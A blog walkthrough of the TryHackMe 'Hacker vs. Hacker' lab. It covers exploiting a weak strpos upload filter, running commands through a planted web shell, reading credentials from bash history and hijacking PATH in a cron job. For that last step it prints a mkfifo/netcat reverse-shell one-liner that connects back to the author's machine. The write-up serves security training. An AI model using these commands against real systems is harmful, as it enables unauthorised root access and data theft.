narancs's blog

TryHackMe – Hacker vs. Hacker walkthrough


Logo of Hacker vs. Hacker room on TryHackMe

This is a walkthrough of the Hacker vs. Hacker room on TryHackMe. We need to get access to a machine that was previously compromised by a hacker.

The server of this recruitment company appears to have been hacked, and the hacker has defeated all attempts by the admins to fix the machine. They can't shut it down (they'd lose SEO!) so maybe you can help?


Note: I have added the IP address of the VM to /etc/hosts as hackervshacker.thm, so I don’t have to use the IP

Nmap scan results:

2 ports are open: 22 (SSH) and 80 (HTTP). Since we don’t have any information to start brute-forcing SSH, I started enumerating the website.

Enumerating the website

I started a gobuster scan in the background. While that was running I checked the site manually.

I used the following gobuster command, however in the end I didn’t had to use the results to find the flags.

					gobuster dir --url http://hackervshacker.thm -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 32 -x txt,php,html

While checking the website, I found that at the bottom of the page there is a file upload form, that is meant to be used to upload CVs.

I also checked the source code, and found 2 comments in the code:

					<!-- seriously, we need to fire that stupid developer intern -->
<!-- im no security expert - thats what we have a stable of nerds for - but isn't /cvs on the public website a privacy risk? -->

This already tells us, that there is a /cvs path where the files are uploaded. Then I tried to upload a normal txt file with the upload form, to check how it works.

I was redirected to /upload.php, and the following text was displayed:

					Hacked! If you dont want me to upload my shell, do better at filtering!

When I checked the source code of the page, it contained something much more useful: the PHP code of the page pasted in an HTML comment by the attacker!

From this code, we can see that PDF files are validated by the strpos PHP function. However, this is not secure, because strpos only checks whether a substring (2nd parameter) is part of a string (1st parameter). It does not have to be at the end of the string necessarily.

We can assume that this is how the hacker managed to upload his shell. The filename has to contain .pdf in its name, so the file will be considered as a PDF file by the if statement using strpos. The filename also has to end in a PHP file extension, so the server executes the code when the file is requested. We can also see that the file is uploaded to /cvs/ path. Based on these assumptions I tried to open the following URL:


And it worked! The page displayed the text “boom!”.



This is probably a web shell exploit. These shells usually work in such a way, that they accept a query parameter in the URL. The parameter name in most cases is “c” or “cmd” that stands for command. So I tried these options, and the second option was correct. I visited the following URL:


And the page displayed “www-data” as the username, followed by “boom!”.

At this point, it seems we can execute any command on the target using this webshell. So we can easily grab the user flag by checking the directories in /home. We will find the user.txt file in /home/lachlan/user.txt

					http://hackervshacker.thm/cvs/shell.pdf.php?cmd=cat /home/lachlan/user.txt


Grabbing the root flag is probably not going to be possible through this web shell. So I was looking for a way to get a shell on the target.

I listed all files in the user’s home directory.

					http://hackervshacker.thm/cvs/shell.pdf.php?cmd=ls -la /home/lachlan
					total 36
drwxr-xr-x 4 lachlan lachlan 4096 May  5  2022 .
drwxr-xr-x 3 root    root    4096 May  5  2022 ..
-rw-r--r-- 1 lachlan lachlan  168 May  5  2022 .bash_history
-rw-r--r-- 1 lachlan lachlan  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 lachlan lachlan 3771 Feb 25  2020 .bashrc
drwx------ 2 lachlan lachlan 4096 May  5  2022 .cache
-rw-r--r-- 1 lachlan lachlan  807 Feb 25  2020 .profile
drwxr-xr-x 2 lachlan lachlan 4096 May  5  2022 bin
-rw-r--r-- 1 lachlan lachlan   38 May  5  2022 user.txt

First, there is a directory named “bin”. I checked and there is 1 file inside, called I used cat command to output the content of the file, but it just contains the following text as a comment:

					# todo: pita website backup as requested by her majesty

Now so useful right now, but we might be able to use it later. Also notice, that the .bash_history file is not empty. Let’s check its content:

					http://hackervshacker.thm/cvs/shell.pdf.php?cmd=cat /home/lachlan/.bash_history
vi /etc/cron.d/persistence
echo -e "dHY5***HIDDEN***eway123" | passwd
ls -sf /dev/null /home/lachlan/.bash_history

As we can see, the last command was a mistake by the user. He wanted to create a symbolic link to /dev/null from /home/lachlan/.bash_history to prevent others from accessing the command history. But he used the ls command by mistake instead of ln. So the symbolic link was not created. This is why we can now check the previously executed commands in the file.

First of all, it contains the password of the user. We can also see that the user edited the file /etc/cron.d/persistence.

					http://hackervshacker.thm/cvs/shell.pdf.php?cmd=cat /etc/cron.d/persistence

# * * * * * root
* * * * * root /bin/sleep 1  && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 11 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 21 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 31 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 41 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 51 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done

We can see that the file would be executed every minute, however that line is commented by a hash sign.
Next we have the same line repeated 6 times with different sleep timers. Basically the following command is executed every 10 seconds:

					for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done

What does this command do?

It loops through all the files in /dev/pts, storing each filename in the variable f. PTS connections are created when a user connects to the system via SSH or Telnet. The files in /dev/pts correspond to these connections. So the echo command outputs the text “nope” to the terminals that are opened by these connections. Finally, pkill sends a signal -9 (SIGKILL) to the terminal, so the connection is terminated.

This means that if we are able to SSH to the target, the connection will be closed after a maximum of 10 seconds! Let’s test it out.

We know the password of the user lachlan, so we can SSH. (Note that the password in .bash_history was set by piping the output of echo -e command to passwd. The string after -e argument contains \n special characters, which means the output will be split to multiple lines. The password of the user is going to be the last line of the output.)

We have 10 seconds to execute a command that will give us a root shell.

What we can notice is that the pkill command is executed without specifying its full path. The PATH variable in /etc/cron.d/persistence is set to PATH=/home/lachlan/bin:/bin:/usr/bin.

So if we create a file named pkill in /home/lachlan/bin (which we can do), than it will be executed instead of /usr/bin/pkill.

I used the following 1 liner, that I need to execute quickly after SSHing into the target:

					echo "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f" > /home/lachlan/bin/pkill; chmod +x /home/lachlan/bin/pkill

This will create the /home/lachlan/bin/pkill file as a reverse shell that will connect back to my IP address on port 1234. Then it adds the executable permission to the file.

I just had to start a listener on that port and wait for the shell. The root flag was in /root/root.txt file.

Table of Contents

Notify of
Inline Feedbacks
View all comments

Related posts

Would love your thoughts, please comment.x